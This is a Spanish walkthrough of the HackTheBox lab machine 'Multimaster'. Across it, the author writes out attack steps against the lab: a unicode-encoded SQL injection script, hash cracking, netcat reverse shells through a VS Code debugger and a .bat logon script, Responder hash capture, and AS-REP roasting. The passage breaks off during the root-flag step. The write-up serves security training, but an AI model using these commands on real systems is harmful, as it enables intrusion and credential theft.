Multimaster es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Insane, en otras palabras locura de máquina, y es por el momento, una de las máquinas más difíciles que he realizado en esta plataforma.
En este caso se trata de una máquina basada en el Sistema Operativo Windows.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Multimaster 10.10.10.179 a /etc/hosts como multimaster.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
# Nmap 7.80 scan initiated Mon May 18 08:59:51 2020 as: nmap -sV -Pn -p- -oA multimaster-nmap 10.10.10.179 Nmap scan report for 10.10.10.179 Host is up (0.074s latency). Not shown: 65513 filtered ports PORT STATE SERVICE VERSION 53/tcp open domain? 80/tcp open http Microsoft IIS httpd 10.0 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-05-18 07:16:03Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL, Site: Default-First-Site-Name) 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: MEGACORP) 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 3389/tcp open ms-wbt-server Microsoft Terminal Services 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 9389/tcp open mc-nmf .NET Message Framing 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49675/tcp open msrpc Microsoft Windows RPC 49681/tcp open msrpc Microsoft Windows RPC 49692/tcp open msrpc Microsoft Windows RPC 49701/tcp open msrpc Microsoft Windows RPC 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port53-TCP:V=7.80%I=7%D=5/18%Time=5EC233B4%P=x86_64-pc-linux-gnu%r(DNSV SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\ SF:x04bind\0\0\x10\0\x03"); Service Info: Host: MULTIMASTER; OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Mon May 18 09:07:39 2020 -- 1 IP address (1 host up) scanned in 467.60 seconds |
Ahora vamos a enumerar los servicios descubiertos a ver por donde podemos atajarlo.
Enumeración
Comenzamos revisando el portal web existente en el puerto 80, donde observamos la siguiente pantalla:
Hacemos varias pruebas con dirb, enum4linux y otras herramientas de enumeración para intentar obtener más información pero no hubo suerte así que volvemos al portal web.
Damos una vuelta por la misma inspeccionando el código fuente y las opciones existentes y damos con un buscador de usuarios en el enlace de “Colleague Finder”:
Observamos las peticiones que realiza el portal a través del buscador y obtenemos la uri /api/getColleagues a través de la cual hace peticiones rest.
Si hacemos cualquier búsqueda nos devuelve los usuarios existentes que coincidan con nuestra búsqueda, así que para hacerlo más amigable para nosotros, utilizaremos curl en lugar del navegador. Lanzamos una simple petición como prueba y nos devuelve un array vacío:
1 2 |
$ curl -X POST http://multimaster.htb/api/getColleagues --data '{"name":"test"}' -H "Content-Type: application/json" [] |
Lanzamos otra prueba vacía y obtenemos un listado con 17 usuarios existentes en la plataforma:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
$ curl -X POST http://multimaster.htb/api/getColleagues --data '{"name":""}' -H "Content-Type: application/json" [ {"id":1,"name":"Sarina Bauer","position":"Junior Developer","email":"sbauer@megacorp.htb","src":"sbauer.jpg"}, {"id":2,"name":"Octavia Kent","position":"Senior Consultant","email":"okent@megacorp.htb","src":"okent.jpg"}, {"id":3,"name":"Christian Kane","position":"Assistant Manager","email":"ckane@megacorp.htb","src":"ckane.jpg"}, {"id":4,"name":"Kimberly Page","position":"Financial Analyst","email":"kpage@megacorp.htb","src":"kpage.jpg"}, {"id":5,"name":"Shayna Stafford","position":"HR Manager","email":"shayna@megacorp.htb","src":"shayna.jpg"}, {"id":6,"name":"James Houston","position":"QA Lead","email":"james@megacorp.htb","src":"james.jpg"}, {"id":7,"name":"Connor York","position":"Web Developer","email":"cyork@megacorp.htb","src":"cyork.jpg"}, {"id":8,"name":"Reya Martin","position":"Tech Support","email":"rmartin@megacorp.htb","src":"rmartin.jpg"}, {"id":9,"name":"Zac Curtis","position":"Junior Analyst","email":"zac@magacorp.htb","src":"zac.jpg"}, {"id":10,"name":"Jorden Mclean","position":"Full-Stack Developer","email":"jorden@megacorp.htb","src":"jorden.jpg"}, {"id":11,"name":"Alyx Walters","position":"Automation Engineer","email":"alyx@megacorp.htb","src":"alyx.jpg"}, {"id":12,"name":"Ian Lee","position":"Internal Auditor","email":"ilee@megacorp.htb","src":"ilee.jpg"}, {"id":13,"name":"Nikola Bourne","position":"Head of Accounts","email":"nbourne@megacorp.htb","src":"nbourne.jpg"}, {"id":14,"name":"Zachery Powers","position":"Credit Analyst","email":"zpowers@megacorp.htb","src":"zpowers.jpg"}, {"id":15,"name":"Alessandro Dominguez","position":"Senior Web Developer","email":"aldom@megacorp.htb","src":"aldom.jpg"}, {"id":16,"name":"MinatoTW","position":"CEO","email":"minato@megacorp.htb","src":"minato.jpg"}, {"id":17,"name":"egre55","position":"CEO","email":"egre55@megacorp.htb","src":"egre55.jpg"} ] |
Probamos con diferentes consultas intentando lanzar una injección sql pero nos devuelve en todos los casos un error 403 como en el siguiente ejemplo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
$ curl http://multimaster.htb/api/getColleagues --data "{\"name\":\"a'\"}" -H "Content-Type: application/json; charset =utf-8" <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/> <title>403 - Forbidden: Access is denied.</title> <style type="text/css"> <!-- body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;} fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;} h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF; background-color:#555555;} #content{margin:0 0 0 2%;position:relative;} .content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;} --> </style> </head> <body> <div id="header"><h1>Server Error</h1></div> <div id="content"> <div class="content-container"><fieldset> <h2>403 - Forbidden: Access is denied.</h2> <h3>You do not have permission to view this directory or page using the credentials that you supplied.</h3> </fieldset></div> </div> </body> </html> |
Así que conocemos que existe detrás un WAF que nos está bloqueando, y después de muchas vueltas conseguimos saltarnos el mismo enviando los caracteres codificados en unicode:
1 2 |
$ curl http://multimaster.htb/api/getColleagues --data '{"name":"\u0061\u0027"}' -H "Content-Type: application/json; charset=utf-8" null |
Para hacerlo de una forma más rápida nos creamos un simple script en python que codifique la cadena que le pasemos y realice automáticamente la petición, el código es el siguiente:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
import codecs import re import sys import requests def unicodeConvert(payload=''): payload = bytes(payload, "UTF-8") pat = re.compile(r'([0-9a-f]{2})') payload = codecs.encode(payload, 'hex') string = str(payload, 'utf-8') payload = pat.sub(r"\\u00\1", string) return payload unicodeData = unicodeConvert(sys.argv[1]) url = 'http://multimaster.htb/api/getColleagues' headers = {'Content-Type': 'application/json; charset=utf-8'} x = requests.post(url, data = '{"name":"'+str(unicodeData)+'"}', headers=headers) print(x.text) |
Hacemos varias pruebas y detectamos el número de campos que existen:
1 2 |
$ python3 d4rkexploit.py "a' UNION SELECT 1,NULL,NULL,NULL,NULL FROM information_Schema.tables--" [{"id":1,"name":"","position":"","email":"","src":""}] |
Las tablas existentes:
1 2 3 |
$ python3 d4rkexploit.py "a' UNION SELECT 1,table_schema,table_name,NULL,NULL FROM information_Schema.tables--" [{"id":1,"name":"dbo","position":"Colleagues","email":"","src":""}, {"id":1,"name":"dbo","position":"Logins","email":"","src":""}] |
Y las columnas:
1 2 3 4 5 6 7 8 9 |
$ python3 d4rkexploit.py "a' UNION SELECT 1,table_schema,table_name,column_name,NULL FROM information_Schema.columns--" [{"id":1,"name":"dbo","position":"Colleagues","email":"email","src":""}, {"id":1,"name":"dbo","position":"Colleagues","email":"id","src":""}, {"id":1,"name":"dbo","position":"Colleagues","email":"image","src":""}, {"id":1,"name":"dbo","position":"Colleagues","email":"name","src":""}, {"id":1,"name":"dbo","position":"Colleagues","email":"position","src":""}, {"id":1,"name":"dbo","position":"Logins","email":"id","src":""}, {"id":1,"name":"dbo","position":"Logins","email":"password","src":""}, {"id":1,"name":"dbo","position":"Logins","email":"username","src":""}] |
Conocidos ya todos los campos, vamos a intentar obtener las password de los usuarios y conseguimos devolver una consulta que incluye los hashes de los 17 usuarios:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
$ python3 d4rkexploit.py "a' UNION SELECT 1,2,id,password,username FROM Logins--" [{"id":1,"name":"2","position":"1","email":"9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739","src":"sbauer"}, {"id":1,"name":"2","position":"2","email":"fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa","src":"okent"}, {"id":1,"name":"2","position":"3","email":"68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813","src":"ckane"}, {"id":1,"name":"2","position":"4","email":"68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813","src":"kpage"}, {"id":1,"name":"2","position":"5","email":"9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739","src":"shayna"}, {"id":1,"name":"2","position":"6","email":"9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739","src":"james"}, {"id":1,"name":"2","position":"7","email":"9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739","src":"cyork"}, {"id":1,"name":"2","position":"8","email":"fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa","src":"rmartin"}, {"id":1,"name":"2","position":"9","email":"68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813","src":"zac"}, {"id":1,"name":"2","position":"10","email":"9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739","src":"jorden"}, {"id":1,"name":"2","position":"11","email":"fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa","src":"alyx"}, {"id":1,"name":"2","position":"12","email":"68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813","src":"ilee"}, {"id":1,"name":"2","position":"13","email":"fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa","src":"nbourne"}, {"id":1,"name":"2","position":"14","email":"68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813","src":"zpowers"}, {"id":1,"name":"2","position":"15","email":"9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739","src":"aldom"}, {"id":1,"name":"2","position":"16","email":"cf17bb4919cab4729d835e734825ef16d47de2d9615733fcba3b6e0a7aa7c53edd986b64bf715d0a2df0015fd090babc","src":"minatotw"}, {"id":1,"name":"2","position":"17","email":"cf17bb4919cab4729d835e734825ef16d47de2d9615733fcba3b6e0a7aa7c53edd986b64bf715d0a2df0015fd090babc","src":"egre55"}] |
Utilizamos la herramienta hashid instalada en kali por defecto para intentar descubrir el tipo de codificación utilizado para los mismos y obtenemos el siguiente listado:
1 2 3 4 5 6 |
$ hashid cf17bb4919cab4729d835e734825ef16d47de2d9615733fcba3b6e0a7aa7c53edd986b64bf715d0a2df0015fd090babc Analyzing 'cf17bb4919cab4729d835e734825ef16d47de2d9615733fcba3b6e0a7aa7c53edd986b64bf715d0a2df0015fd090babc' [+] SHA-384 [+] SHA3-384 [+] Skein-512(384) [+] Skein-1024(384) |
Así que buscamos los métodos existentes en hashcat:
1 2 3 |
$ hashcat --help|grep -i sha|grep 384 10800 | SHA2-384 | Raw Hash 17500 | SHA3-384 | Raw Hash |
Y lo ejecutamos a ver cuantos hashes podemos obtener en texto plano:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
$ hashcat -m 10800 list-hash.txt /usr/share/wordlists/rockyou.txt -o list-hashes-decoded.txt --force hashcat (v5.1.0) starting... Dictionary cache hit: * Filename..: /usr/share/wordlists/rockyou.txt * Passwords.: 14344385 * Bytes.....: 139921507 * Keyspace..: 14344385 Approaching final keyspace - workload adjusted. Session..........: hashcat Status...........: Exhausted Hash.Type........: SHA2-384 Hash.Target......: list-hash.txt Time.Started.....: Mon May 18 17:24:18 2020 (9 secs) Time.Estimated...: Mon May 18 17:24:27 2020 (0 secs) Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 1506.1 kH/s (0.63ms) @ Accel:1024 Loops:1 Thr:1 Vec:4 Recovered........: 3/4 (75.00%) Digests, 0/1 (0.00%) Salts Progress.........: 14344385/14344385 (100.00%) Rejected.........: 0/14344385 (0.00%) Restore.Point....: 14344385/14344385 (100.00%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 Candidates.#1....: $HEX[206b72697374656e616e6e65] -> $HEX[042a0337c2a156616d6f732103] Started: Mon May 18 17:23:57 2020 Stopped: Mon May 18 17:24:29 2020 |
Y conseguimos descifrar tres de ellos, aunque no conocemos a que usuarios pertenecen:
1 2 3 4 |
$ cat list-hashes-decoded.txt 9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739:password1 68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813:finance1 fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa:banking1 |
Generamos una lista de usuarios y passwords conocidos hasta el momento y probamos el acceso con CrackMapExec pero no conseguimos ningún acceso así que seguimos probando.
Después de muchas vueltas y pruebas, encontramos un post donde explica como enumerar un AD mediante técnicas de SQL Inyection en SQLServer que nos será muy útil para seguir avanzando.
Necesitaremos obtener el RID y posteriormente el SID para poder enumerar los usuarios, así que nos creamos un script en python para llevar a cabo la enumeración y conseguimos los siguientes resultados:
1 2 3 4 5 6 7 8 9 10 |
$ python3 d4rkmultimaster.py 1100 1200 [+] RID: 0x0105000000000005150000001C00D1BCD181F1492BDFC23600020000 [+] SID: 0x0105000000000005150000001C00D1BCD181F1492BDFC236 [+] User: MEGACORP\DnsAdmins [+] User: MEGACORP\DnsUpdateProxy [+] User: MEGACORP\svc-nas [+] User: MEGACORP\Privileged IT Accounts [+] User: MEGACORP\tushikikatomo [+] User: MEGACORP\andrew [+] User: MEGACORP\lana |
En este caso no pongo el código del script realizado, ya que no lo voy a dar todo hecho, tocará que cada uno se haga el suyo propio.
Hemos descubierto más usuarios del sistema, así que añadimos los mismos a nuestro listado y volvemos a probar con CrackMapExec y en este caso conseguimos unas credenciales válidas con el usuario tushikikatomo:
1 2 3 |
$ cme smb 10.10.10.179 -d megacorp.local -u list-users.txt -p passwords.txt SMB 10.10.10.179 445 MULTIMASTER [*] Windows Server 2016 Standard 14393 (name:MULTIMASTER) (domain:megacorp.local) (signing:True) (SMBv1:True) SMB 10.10.10.179 445 MULTIMASTER [+] megacorp.local\tushikikatomo:finance1 |
Obteniendo la flag de user
Con las credenciales obtenidas del usuario tushikikatomo accedemos a la máquina con la tool evil-winrm y tenemos ya la flag de user:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
$ ruby evil-winrm.rb -i 10.10.10.179 -u tushikikatomo -p finance1 Evil-WinRM shell v2.3 Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\alcibiades\Documents> whoami megacorp\tushikikatomo *Evil-WinRM* PS C:\Users\alcibiades\Documents> cd ..\desktop *Evil-WinRM* PS C:\Users\alcibiades\desktop> dir Directory: C:\Users\alcibiades\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 5/17/2020 4:32 PM 34 user.txt *Evil-WinRM* PS C:\Users\alcibiades\desktop> |
Ya hemos conseguido entrar a la máquina, pero como decía al principio, esta máquina es complicada y todavía nos queda mucho por hacer.
Escalando privilegios
Con el usuario obtenido enumeramos los privilegios del mismo y posibles procesos del sistema y encontramos varios procesos de visual studio code:
Revisamos la versión del mismo:
1 2 3 4 5 6 |
*Evil-WinRM* PS C:\program files\microsoft vs code\bin> .\code -h Visual Studio Code 1.37.1 Usage: code.exe [options][paths...] To read output from another program, append '-' (e.g. 'echo Hello World | code.exe -') |
Y buscando en google obtenemos una vulnerabilidad, la CVE-2019-1414, que aunque no es el mismo caso nos da bastante información de como debemos de continuar ahora.
La vulnerabilidad es posible de explotar cuando se expone una escucha en debug a usuarios en entorno local, así que siguiendo con nuestra investigación en google encontramos un repositorio en github donde existe una tool que podemos utilizar para llevarlo a cabo y llamada cefdebug.
Subiremos dicha tool a la máquina y realizaremos una primera ejecución para obtener la dirección del servidor:
1 2 3 4 5 6 |
*Evil-WinRM* PS C:\temp> .\cefdebug.exe cefdebug.exe : [2020/05/19 00:39:14:6062] U: There are 3 tcp sockets in state listen. + CategoryInfo : NotSpecified: ([2020/05/19 00:...n state listen.:String) [], RemoteException + FullyQualifiedErrorId : NativeCommandError [2020/05/19 00:39:34:6331] U: There were 1 servers that appear to be CEF debuggers. [2020/05/19 00:39:34:6341] U: ws://127.0.0.1:22146/c047b16b-4611-4ec1-a990-bb193abe1bf7 |
Subiremos también nc a la máquina para poder lanzar la shell inversa y lanzaremos el comando con nuestras opciones personalizadas:
1 2 3 4 5 6 |
*Evil-WinRM* PS C:\temp> .\cefdebug.exe --url ws://127.0.0.1:22146/c047b16b-4611-4ec1-a990-bb193abe1bf7 --code "process.mainModule.require('child_process').exec('cmd.exe /c c:/temp/nc.exe 10.10.14.239 4444 -e cmd.exe')" cefdebug.exe : [2020/05/19 00:39:53:2771] U: >>> process.mainModule.require('child_process').exec('cmd.exe /c c:/temp/nc.exe 10.10.14.239 4444 -e cmd.exe') + CategoryInfo : NotSpecified: ([2020/05/19 00:...44 -e cmd.exe'):String) [], RemoteException + FullyQualifiedErrorId : NativeCommandError [2020/05/19 00:39:53:2927] U: <<< ChildProcess *Evil-WinRM* PS C:\temp> |
Y conseguiremos una shell con el usuario cyork en nuestra escucha en kali:
1 2 3 4 5 6 7 8 9 10 11 |
$ nc -lvnp 4444 listening on [any] 4444 ... connect to [10.10.14.239] from (UNKNOWN) [10.10.10.179] 49737 Microsoft Windows [Version 10.0.14393] (c) 2016 Microsoft Corporation. All rights reserved. C:\Program Files\Microsoft VS Code>whoami whoami megacorp\cyork C:\Program Files\Microsoft VS Code> |
Hemos conseguido otro usuario pero esta shell es un poco incómoda y lenta, probamos a obtener el hash con responder.
Lanzaremos un abuso de net use en la consola de windows:
1 |
PS C:\Program Files\Microsoft VS Code> net use \\10.10.14.239 |
Y obtendremos el hash del usuario en nuestra escucha con responder:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
$ responder -I tun0 -F --lm -d -w -i 10.10.14.239 __ ... [+] Listening for events... [SMB] NTLMv2 Client : 10.10.10.179 [SMB] NTLMv2 Username : MEGACORP\cyork [SMB] NTLMv2-SSP Hash : cyork::MEGACORP:e6b64cd551022194:3DCDC67AD6A1040F8CDEC22FCF08CF23:0101000000000000C0653150DE09 D201E9C0531914DAA3A9000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056 000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D0050005200480034003900320052005100410046005600 2E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D20106 000400020000000800300030000000000000000100000000200000436C85267F45B62D98FE392714B4A4CE29DFA5CA7D060106E6978AC2169F46AA 0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E0032003300390000 00000000000000 |
Pasamos este hash obtenido por john y hashcat con diferentes diccionarios, pero parece que esta vez no vamos a tener suerte así que seguiremos buscando como escalar desde la shell obtenida hasta el momento.
Con el usuario obtenido, cyork, buscamos las posibilidades de este usuario y encontramos una carpeta a la cual antes no teníamos acceso y cuyo contenido es el siguiente:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
Directory of c:\inetpub\wwwroot\bin 01/07/2020 10:28 PM <DIR> . 01/07/2020 10:28 PM <DIR> .. 02/21/2013 08:13 PM 102,912 Antlr3.Runtime.dll 02/21/2013 08:13 PM 431,616 Antlr3.Runtime.pdb 05/24/2018 01:08 AM 40,080 Microsoft.CodeDom.Providers.DotNetCompilerPlatform.dll 07/24/2012 11:18 PM 45,416 Microsoft.Web.Infrastructure.dll 01/09/2020 05:13 AM 13,824 MultimasterAPI.dll 01/09/2020 05:13 AM 28,160 MultimasterAPI.pdb 02/17/2018 09:14 PM 664,576 Newtonsoft.Json.dll 01/07/2020 10:28 PM <DIR> roslyn 11/28/2018 12:30 AM 178,808 System.Net.Http.Formatting.dll 11/28/2018 12:28 AM 27,768 System.Web.Cors.dll 01/27/2015 03:34 PM 139,976 System.Web.Helpers.dll 11/28/2018 12:31 AM 39,352 System.Web.Http.Cors.dll 11/28/2018 12:31 AM 455,096 System.Web.Http.dll 01/31/2018 11:49 PM 77,520 System.Web.Http.WebHost.dll 01/27/2015 03:32 PM 566,472 System.Web.Mvc.dll 02/11/2014 02:56 AM 70,864 System.Web.Optimization.dll 01/27/2015 03:32 PM 272,072 System.Web.Razor.dll 01/27/2015 03:34 PM 41,672 System.Web.WebPages.Deployment.dll 01/27/2015 03:34 PM 211,656 System.Web.WebPages.dll 01/27/2015 03:34 PM 39,624 System.Web.WebPages.Razor.dll 07/17/2013 04:33 AM 1,276,568 WebGrease.dll 20 File(s) 4,724,032 bytes 3 Dir(s) 19,464,556,544 bytes free |
Después de varias vueltas, nos descargamos los ficheros dll de la misma y hacemos hincapié en uno en concreto llamado MultimasterAPI.dll
Así que nos descargaremos un decompilador de .NET para poder visualizar el código fuente del mismo. En nuestro caso hemos utilizado ILSpy pero existen muchos similares. Analízamos el código y encontramos algo interesante como vemos en la siguiente captura:
Encontramos una contraseña de conexión a la base de datos en uno de los ficheros existentes:
1 |
string connString = "server=localhost;database=Hub_DB;uid=finder;password=D3veL0pM3nT!;"; |
Así que volvemos a probar con CrackMapExec el acceso con algún usuario y conseguimos un acceso nuevo con el usuario sbauer:
1 2 3 |
$ cme smb 10.10.10.179 -u list-users.txt -p passwords.txt -d MEGACORP.local SMB 10.10.10.179 445 MULTIMASTER [*] Windows Server 2016 Standard 14393 (name:MULTIMASTER) (domain:MEGACORP.local) (signing:True) (SMBv1:True) SMB 10.10.10.179 445 MULTIMASTER [+] MEGACORP.local\sbauer:D3veL0pM3nT! |
Probamos el acceso y ya hemos conseguido hacer otro escalado más, cada vez estamos más cerca, pero aún queda mucho trabajo por hacer:
1 2 3 4 5 6 7 8 9 |
$ ruby evil-winrm.rb -i 10.10.10.179 -u sbauer -p "D3veL0pM3nT!" Evil-WinRM shell v2.3 Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\sbauer\Documents> whoami megacorp\sbauer *Evil-WinRM* PS C:\Users\sbauer\Documents> |
Continuando con otro paso de enumeración, revisamos los permisos de este usuario y el mismo dispone de más control sobre el AD así que utilizaremos BloodHound en este caso para recopilar información del active directory.
Nos descargaremos el mismo desde su repo y subiremos el fichero SharpHound.exe a la máquina para recopilar la información:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
*Evil-WinRM* PS C:\users\sbauer\documents> .\SharpHound.exe --CollectionMethod All ----------------------------------------------- Initializing SharpHound at 5:15 AM on 5/19/2020 ----------------------------------------------- Resolved Collection Methods: Group, Sessions, LoggedOn, Trusts, ACL, ObjectProps, LocalGroups, SPNTargets, Container [+] Creating Schema map for domain MEGACORP.LOCAL using path CN=Schema,CN=Configuration,DC=MEGACORP,DC=LOCAL [+] Cache File Found! Loaded 2 Objects in cache [+] Pre-populating Domain Controller SIDS Status: 0 objects finished (+0) -- Using 21 MB RAM Status: 94 objects finished (+94 94)/s -- Using 27 MB RAM Enumeration finished in 00:00:01.3329623 Compressing data to .\20200519051515_BloodHound.zip You can upload this file directly to the UI SharpHound Enumeration Completed at 5:15 AM on 5/19/2020! Happy Graphing! *Evil-WinRM* PS C:\users\sbauer\documents> |
descargamos los datos y los importamos en BloodHound y descubrimos unos permisos interesantes:
El usuario sbauer tiene permisos de GenericWrite sobre el usuario Jorden, que revisando la información obtenida de BloodHound tenemos lo siguiente:
1 2 3 |
The user SBAUER@MEGACORP.LOCAL has generic write access to the user JORDEN@MEGACORP.LOCAL. Generic Write access grants you the ability to write to any non-protected attribute on the target object, including "members" for a group, and "serviceprincipalnames" for a user |
Es decir, tenemos permisos para poder sobreescribir cualquier atributo no protegido del usuario objetivo, así que nos crearemos un fichero .bat para abrir una escucha:
1 |
cmd.exe /c c:/temp/nc.exe 10.10.14.239 4444 -e cmd.exe |
Levantaremos un servidor smb con smbserver:
1 |
$ smbserver.py -ip 10.10.14.239 SHARE /root/htb/machines/todo/multimaster.htb/script/ |
Y ejecutaremos una serie de comandos para conseguir que se ejecute nuestro fichero .bat con el usuario jorden.
El primer paso permitir la ejecución de powershell:
1 |
powershell -ep bypass |
Añadiremos nuestro script al usuario jorden:
1 2 3 |
*Evil-WinRM* PS C:\Users\sbauer\Documents> $username = "jorden" *Evil-WinRM* PS C:\Users\sbauer\Documents> Import-Module activedirectory *Evil-WinRM* PS C:\Users\sbauer\Documents> Get-ADUser $username | SET-ADUser -scriptpath '\\10.10.14.239\SHARE\jorden.bat' |
Y modificaremos la cuenta del usuario para evitar que solicite autenticación:
1 |
*Evil-WinRM* PS C:\Users\sbauer\Documents> Get-ADUser $username | Set-ADAccountControl -doesnotrequirepreauth $true |
Una vez hecho, enumeraremos con la herramienta GetNPUsers.py de impacket y tendremos el hash del usuario Jorden (no lo vamos a mostrar al completo para evitar que se copie el resultado directamente):
1 2 3 4 5 6 7 8 9 10 |
GetNPUsers.py MEGACORP.local/sbauer:'D3veL0pM3nT!' -dc-ip 10.10.10.179 -request Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation Name MemberOf PasswordLastSet LastLogon UAC ------ -------------------------------------------- -------------------------- --------- -------- jorden CN=Developers,OU=Groups,DC=MEGACORP,DC=LOCAL 2020-01-10 01:48:17.503303 <never> 0x410200 $krb5asrep$23$jorden@MEGACORP.LOCAL:5a51c3c1d5627a6594b1f4cc5686976e$****************************************************************************************************+ |
Ahora que tenemos el hash, nos queda romper el mismo utilizando john:
1 2 3 4 5 6 7 8 9 |
$ john --wordlist=/usr/share/wordlists/rockyou.txt jorden-hash.txt Using default input encoding: UTF-8 Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status r************ ($krb5asrep$23$jorden@MEGACORP.LOCAL) 1g 0:00:00:09 DONE (2020-05-19 14:31) 0.1044g/s 459943p/s 459943c/s 459943C/s rainian..raincole Use the "--show" option to display all of the cracked passwords reliably Session completed |
Y tenemos la contraseña:
1 2 3 |
$ john --show jorden-hash.txt $krb5asrep$23$jorden@MEGACORP.LOCAL:r************ 1 password hash cracked, 0 left |
Probamos el acceso:
1 2 3 4 5 6 7 8 9 |
$ ruby evil-winrm.rb -i 10.10.10.179 -u jorden -p "r************" Evil-WinRM shell v2.3 Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\jorden\Documents> whoami megacorp\jorden *Evil-WinRM* PS C:\Users\jorden\Documents> |
Y estamos dentro, bien, ya va quedando menos para root.
Ahora para obtener la flag existen dos posibilidades, una haciendo una copia de la misma a la home del usuario Jorden, y la segunda consiguiendo escalar privilegios a system.
Obteniendo la flag de root
Método 1 (copia de ficheros)
Revisando los permisos del usuario Jorden, observamos que podemos ver el contenido de la home del user Administrator, pero no podemos abrir los ficheros existentes, así que utilizaremos robocopy para hacer una copia completa de los mismos y conseguir la flag:
